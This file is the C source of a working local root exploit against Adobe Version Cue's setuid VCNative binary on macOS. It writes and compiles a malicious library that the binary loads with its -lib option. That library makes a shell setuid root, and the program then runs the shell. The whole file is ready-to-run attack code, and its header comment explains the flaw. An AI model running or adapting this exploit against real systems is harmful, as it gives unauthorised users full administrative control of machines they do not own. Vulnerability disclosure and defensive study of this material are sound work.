/*[ Adobe Version Cue VCNative[OSX]: local root exploit. (dyld) ]*
 *                                                               *
 * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)              *
 *                                                               *
 * Adobe Version Cue's VCNative program allows un-privileged     *
 * local users to load arbitrary libraries("bundles") while      *
 * running setuid root.  this is done via the "-lib"             *
 * command-line option.                                          *
 *                                                               *
 * note: VCNative must connect to a valid host to be able        *
 * to get to the point where the library is loaded.  this is     *
 * automated in this exploit by listening to an arbitrary local  *
 * port and using the localhost("127.0.0.1") to connect to.      *
 *****************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define VCNATIVE_PATH "/Applications/Adobe Version Cue/tomcat/webapps"\
 "/ROOT/WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative"
#define VCNATIVE_PORT 7979
#define CC_PATH "/usr/bin/gcc"
#define BUNDLE_PATH "/tmp/xvcn_lib"
#define SUSH_PATH "/tmp/xvcn_sush"

void printe(char *,signed char);

int main(){
 signed int sock=0,so=1;
 char syscmd[4096+1];
 struct stat mod;
 struct sockaddr_in sa;
 FILE *bundle,*sush;
 /* banner. */
 printf("[*] Adobe Version Cue VCNative[OSX]: local root exploit. (dy"
 "ld)\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
 /* see if we have what we need. */
 if(access(CC_PATH,X_OK))
  printe("incorrect gcc/cc path. (CC_PATH)",1);
 if(stat(VCNATIVE_PATH,&mod))
  printe("incorrect VCNative path. (VCNATIVE_PATH)",1);
 if(!(S_ISUID&mod.st_mode))
  printe("VCNative is not setuid. (VCNATIVE_PATH)",1);
 /* appease VCNative's initial connection to load the library. */
 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
 setsockopt(sock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
 sa.sin_family=AF_INET;
 sa.sin_port=htons(VCNATIVE_PORT);
 sa.sin_addr.s_addr=INADDR_ANY;
 printf("[*] opening local port: %u.\n",VCNATIVE_PORT);
 if(bind(sock,(struct sockaddr *)&sa,sizeof(sa))==-1)
  printe("could not bind socket.",1);
 listen(sock,1); 
 /* make the bogus library/bundle. */
 if(!(bundle=fopen(BUNDLE_PATH ".c","w")))
  printe("could not write to bundle source file.",1);
 fprintf(bundle,"void VCLibraryInit(){\n");
 fprintf(bundle," seteuid(0);\n");
 fprintf(bundle," setuid(0);\n");
 fprintf(bundle," setegid(0);\n");
 fprintf(bundle," setgid(0);\n");
 fprintf(bundle," chown(\"" SUSH_PATH "\",0,0);\n");
 fprintf(bundle," chmod(\"" SUSH_PATH "\",3145);\n");
 fprintf(bundle,"}\n");
 fprintf(bundle,"void VCLibraryExec(){}\n");
 fprintf(bundle,"void VCLibraryExit(){}\n");
 fclose(bundle);
 /* make the (to-be) rootshell. */
 if(!(sush=fopen(SUSH_PATH ".c","w")))
  printe("could not write to sush/rootshell source file.",1);
 fprintf(sush,"int main(){\n");
 fprintf(sush," seteuid(0);\n");
 fprintf(sush," setuid(0);\n");
 fprintf(sush," setegid(0);\n");
 fprintf(sush," setgid(0);\n");
 fprintf(sush," execl(\"/bin/sh\",\"sh\",0);\n");
 fprintf(sush,"}\n");
 fclose(sush);
 /* compile the bogus library/bundle. */
 snprintf(syscmd,4096,"%s %s.c -bundle -o %s.bundle",CC_PATH,
 BUNDLE_PATH,BUNDLE_PATH);
 printf("[*] system: %s\n",syscmd);
 system(syscmd);
 /* compile the (to-be) rootshell. */
 snprintf(syscmd,4096,"%s %s.c -o %s",CC_PATH,
 SUSH_PATH,SUSH_PATH);
 printf("[*] system: %s\n",syscmd);
 system(syscmd);
 /* run VCNative. (".bundle" is appended to the library path) */
 snprintf(syscmd,4096,"\"%s\" -host 127.0.0.1 -port %u -lib %s",
 VCNATIVE_PATH,VCNATIVE_PORT,BUNDLE_PATH);
 printf("[*] system: %s\n",syscmd);
 system(syscmd);
 /* clean-up. */
 unlink(BUNDLE_PATH ".c");
 unlink(BUNDLE_PATH ".bundle");
 unlink(SUSH_PATH ".c");
 shutdown(sock,2);
 close(sock);
 /* check for success. */
 if(stat(SUSH_PATH,&mod))
  printe("sush/rootshell vanished? (SUSH_PATH)",1);
 if(!(S_ISUID&mod.st_mode)||mod.st_uid){
  unlink(SUSH_PATH);
  printe("sush/rootshell is not setuid root, exploit failed.",1);
 }
 /* success. */
 printf("[*] attempting to execute rootshell... (" SUSH_PATH ")\n\n");
 system(SUSH_PATH);
 exit(0);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
 printf("[!] %s\n",err);
 if(e)exit(e);
 return;
}